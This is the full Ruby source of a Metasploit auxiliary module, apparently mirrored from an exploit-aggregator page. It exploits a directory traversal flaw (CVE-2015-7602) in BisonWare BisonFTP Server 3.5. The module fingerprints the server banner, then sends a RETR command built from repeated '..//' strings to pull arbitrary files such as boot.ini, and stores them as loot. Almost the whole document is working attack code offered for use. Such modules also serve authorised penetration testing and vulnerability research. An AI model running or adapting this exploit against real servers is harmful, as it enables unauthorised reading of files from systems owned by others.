## https://sploitus.com/exploit?id=PACKETSTORM:181006
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
'Description' => %q{
This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
by crafting a RETR command including file system traversal strings such as '..//.'
},
'Platform' => 'win',
'Author' =>
[
'Jay Turla', # @shipcod3, msf and initial discovery
'James Fitts',
'Brad Wolfe <brad.wolfe[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '38341'],
[ 'CVE', '2015-7602']
],
'DisclosureDate' => '2015-09-28'
))
register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
])
end
def check_host(ip)
begin
connect
if /BisonWare BisonFTP server product V3\.5/i === banner
return Exploit::CheckCode::Appears
end
ensure
disconnect
end
Exploit::CheckCode::Safe
end
def run_host(target_host)
begin
connect_login
sock = data_connect
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
# and #7582
if sock.nil?
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
print_status(error_msg)
elog(error_msg)
else
file_path = datastore['PATH']
file = ::File.basename(file_path)
# make RETR request and store server response message...
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["RETR", retr_cmd])
# read the file data from the socket that we opened
# dont assume theres still a sock to read from. Per #7582
if sock.nil?
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
print_status(error_msg)
elog(error_msg)
return
else
# read the file data from the socket that we opened
response_data = sock.read(1024)
end
unless response_data
print_error("#{file} not found")
return
end
if response_data.length == 0
print_status("File (#{file_path})from #{peer} is empty...")
return
end
# store file data to loot
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog(e)
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
elog(e)
ensure
data_disconnect
disconnect
end
end
end